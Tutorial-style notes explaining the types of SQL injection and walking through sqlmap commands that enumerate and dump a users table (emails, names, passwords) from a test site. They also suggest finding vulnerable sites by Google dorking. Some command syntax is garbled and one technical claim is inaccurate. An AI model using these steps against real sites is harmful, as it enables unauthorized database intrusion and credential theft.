SQL INJECTION

- It is a code injection technique that is used to attack data driven application in which malicious SQL statements are inserted into an entry field for execution
- SQL Injection is considered as one of the most common attacks as it can bring serious and harmful consequences to your system and sensitive data.
- The SQL Injection attack allows external users to read details from the database

Types of SQL Injection (SQLi)

- SQL Injection can be classified into three major categories :
- In-band SQL injection,
- Inferential SQL injection and
- Out-of-band SQL injection.

1. In-band SQL injection

- In-band SQL Injection is the most common and easy-to-exploit of SQL Injection attacks. In-band SQL Injection occurs when an attacker is able to use the same communication channel to both launch the attack and gather results.
- The two most common types of in-band SQL Injection are :
- Error-based SQL injection
- Union-based SQL injection.

a. Error-based SQL injection

- An error-based SQL injection is the simplest type; but, the only difficulty with this method is that it runs only with MS-SQL Server.
- it is an in-band SQL Injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database

b. Union-based SQL injection

- It is the most popular type of SQL injection. This type of attack uses the UNION statement, which is the integration of two select statements, to obtain data from the database.

2. Inferential SQLi (Blind SQLi)

- The two types of inferential SQL Injection are :
- Boolean-based SQL injection : is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result
- time-based SQL injection: is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE

3. Out-of-band SQL injection

- It is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker is unable to use the same channel to launch the attack and gather results

SQLMAP

- It is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and fetching data from database
- **STEPS FOR USING SQLMAP**

1. Find a vulnerable website

- type in google: php?id=

2. List database name
3. List tables of target database
4. List columns of target table of selected database
5. List user names from target columns of target table of selected database

PROCEDURES

- Boot into your kali linux, start a terminal and type: sqlmap –h, it will list the basic command that are supported by SQLMAP.
- **Sqlmap –u http://testphp.vulnweb.com/listproducts.php ? Cat=1,** when u you run this command you can find below details:
- what type of attacks that are possible
- what is the web application technology that is running
- what is back end database management system

- Database enumeration:
- **Sqlmap –u http://testphp.vulnweb.com/listproducts.php?Cat=1 - - dbs, 2 databases (ACUART & INFORMATION SCHEMA)**
- **Find details of any database:**
- **Sqlmap –u http://testphp.vulnweb.com/listproducts.php?Cat=1 –D acuart - - tables**
- **Sqlmap –u http://testphp.vulnweb.com/listproducts.php?Cat=1 –D acuart – T users - - columns**
- **Sqlmap –u http://testphp.vulnweb.com/listproducts.php?Cat=1 –D acuart – T users - C email, name, pass - - dump**

The following output might result from SQL injection:

- Hacking other person’s account.
- Stealing and copying website’s or system’s sensitive data.
- Changing system’s sensitive data.
- Deleting system’s sensitive data.
- The user could log in to the application as another user, even as an administrator.
- The user could view private information belonging to other users e.g. details of other users’ profiles, their transaction details etc.
- The user could change application configuration information and the data of the other users.
- The user could modify the structure of the database; even delete tables in the application database.
- The user could take control of the database server and execute commands on it.